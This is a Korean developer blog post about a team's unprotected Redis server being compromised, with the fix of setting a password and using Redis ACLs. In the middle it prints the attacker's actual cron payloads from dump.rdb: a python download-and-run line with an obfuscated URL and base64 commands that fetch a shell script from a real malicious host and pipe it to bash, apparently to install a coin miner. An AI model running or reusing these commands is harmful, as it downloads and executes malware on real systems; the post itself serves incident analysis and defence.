RedisDB

Redis 해킹당한 이야기

2022.12.05


부스트캠프 팀 프로젝트인 PRV(논문 인용관계 시각화 서비스)에서는 Redis를 사용하여 인기 검색어 순위를 확인할 수 있도록 했다.

API 서버의 /keyword-ranking 으로 GET 요청을 보내면, 검색된 횟수의 내림차순으로 10개까지의 결과를 전달받게 된다.

데이터 형식에는 Sorted Set 을 사용하여 검색어가 입력된 횟수에 따라 정렬되도록 했다.

왜 Redis를 사용했는가?

Redis : key-value 인메모리 데이터베이스

인메모리 DB 라는 점에서, 일반적인 DB를 사용하는 것보다 속도에서의 이점을 갖는다.

Sorted Set 사용하면 정렬된 형태의 데이터를 사용하기 쉽다.

서버는 개발단계에 따라 지속적인 배포가 이루어지고 있다. 이 때, 서버의 메모리를 사용하여 검색어 순위를 구현한다면 서버가 재시작할 될 때 마다 검색어들이 초기화된다. 별도의 Redis 서버를 운영하여 api 서버는 재시작되더라도 Redis에는 이전까지 저장되어있던 검색어들이 휘발되지 않도록 할 필요가 있었다.

Redis에 저장해놓은 데이터가 사라진다?

GET /keyword-ranking 을 했을 때, Redis 이미지가 새롭게 생성되거나 하지 않았는데도 저장해놓은 key 값이 사라지는 현상을 발견하게되었다.

최초에 이 현상에 대해 들었던 의문은 두가지였다.

  1. 배포될 때마다 Redis 컨테이너가 새롭게 생성되면서 기존에 저장되어있던 정보들이 날아가나?
  2. Redis DB의 영속성 관련 설정을 제대로 해주지 않았나?

이상 현상의 원인을 찾아간 과정

  • redis-cli 를 통해 keys * 로 확인해보니, backup1, backup2, backup3 이라는 키값들이 존재했다.

  • 팀원중에 누군가 해당 키워드로 검색한 것인지 확인해봤으나 아무도 해당 키워드를 사용하지는 않았다고 한다.

  • redis log를 확인해보니, 레디스에서 save 되는 명령어가 반복되었고, 해당 시점이 데이터가 날아간 시점이었다.

  • backup key에 저장된 값을 조회해보니, cron 명령어 형식이 들어있는 것을 보고, redis에서 자동으로 backup을 이런식으로 해주는구나로 생각해버리고 말았다.

  • 하지만, redis에서 db를 backup하는 방식은 RDB 또는 AOF 방식이다.

  • 분명 RDB 형태로 데이터 셋을 스냅샷하여 저장하도록 설정해놨는데, 사용하지 않은 key가 redis에 set된 다는 것은 이상하다는 생각이 들었다.

  • dump.rdb 파일을 확인해보니, backup1, backup2, backup3 외에 이상한 python2 코드가 있는 것을 확인했다.

    # dump.rdb
    
    @hourly root  python -c "import urllib2; print urllib2.urlopen('<http://ki>\\s\\s.a-d\\og.t\\op/t.sh').read()" >.1;chmod +x .1;./.1
    
    ...
    

    urlopen을 하려는 url에서 \\ 를 제외해보면 http://kiss.a-dog.top/t.sh 이다. (해당 링크에 접속하면 t.sh 파일이 다운로드 되니 주의 바람)

    여기서 해커가 \\ 를 사용한 이유는 자동으로 악의적인 도메인을 거르는 필터를 무력화시키고, python의 urllib2 라이브러리가 백슬래시를 무시하는 것을 악용한 것이 되겠다.

    이 부분외에도, backup3, 2, 1에 저장되어 있는 value는 base64로 encode 되어있다.

    # dump.rdb
    
    ...
    
    backup3@c
    
    */4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash
    
    backup2@o
    
    */3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash
    
    backup1@d
    
    */2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash
    

    각각의 echo 되는 value들을 base64 decode 해보면 다음과 같다.

    curl <http://kiss.a-dog.top/b2f628/b.sh>
    wget -q -O- <http://kiss.a-dog.top/b2f628/b.sh>
    cd1 <http://kiss.a-dog.top/b2f628/b.sh>
    

    t.sh 파일과 b.sh 파일은 내용을 확인해보니 동일한 shell script 였다. 각 shell script에서는 또 다른 kiss.a-dog.top url 쪽의 또 다른 shell script를 불러와서 실행하도록 한다.

    http://kiss.a-dog.top/b2f628/d/ar.sh 해당 파일의 코드를 읽어보면, echo 하는 부분이 재미있으니 심심하면 한번 보기 바란다. base64로 encoding 된 코드를 실행하는 부분은 참신했다.

    우리 서버를 코인 마이닝 서버로 활용하려고 했다.

결론: 비밀번호를 ‘꼭’ 설정하자

PRV의 개발서버가 배포될 때는 서버 내부에 작성된 docker-compose 파일에 작성된대로 container가 생성된다.

그 중에서 redis에 password를 설정하는 방법은 아래와 같다.

# docker-compose.yml
...
  redis:
    image: redis:7.0.5
    ports:
      - 6379:6379
    command: redis-server --save 60 1000 --loglevel notice --requirepass ${REDIS_PASSWORD}
...

command를 주지 않아도 redis가 기본 옵션으로 실행되지만, 이 때는 password가 설정되지 않았다는 로그를 확인해볼 수 있다.

  • 환경변수가 잘 전달되고 있는지 확인해보려면 다음과 같이 하면 된다.

    docker compose --env-file .env convert
    
  • docker compose 파일 내부로 작성된 환경변수를 전달하기 위해서는 다음과 같이 할 수 있다.

    docker compose --env-file .env up -d
    

비밀번호를 설정한 후, redis-cli에 접속하여 ping 명령어를 입력해보자.

NOAUTH Authentication required. 에러를 확인하게 될 것이다.

auth 패스워드 를 입력한 후에야 redis command들을 정상적으로 사용할 수 있다.

비밀번호를 설정하는 것 외에도, Redis에서는 ACL(Access Control List) 시스템을 제공한다.

아래의 예시를 살펴보자.

# 1
ACL SETUSER alice on >p1pp0 ~cached:* +get

# 2
AUTH alice p1pp0
  • #1 : alice 라는 user를 생성한다.
    • pw : p1pp0
    • cached 로 시작하는 key들에 접근할 수 있다. (allkeys : 모든 키에 접근 가능)
    • 접근할 때는 get 만 사용할 수 있다. (allcommands : 모든 명령어 사용 가능)
  • #2 : alice 계정으로 redis를 사용하도록 한다.

비밀번호만 설정한다는 것은 "default" user를 사용한다는 의미이다.

ACL feature를 사용하여 user를 생성하고, user가 접근할 수 있는 key와 command를 지정해놓는다면, redis를 조금 더 안전하게 사용할 수 있을 것이다.

참고 자료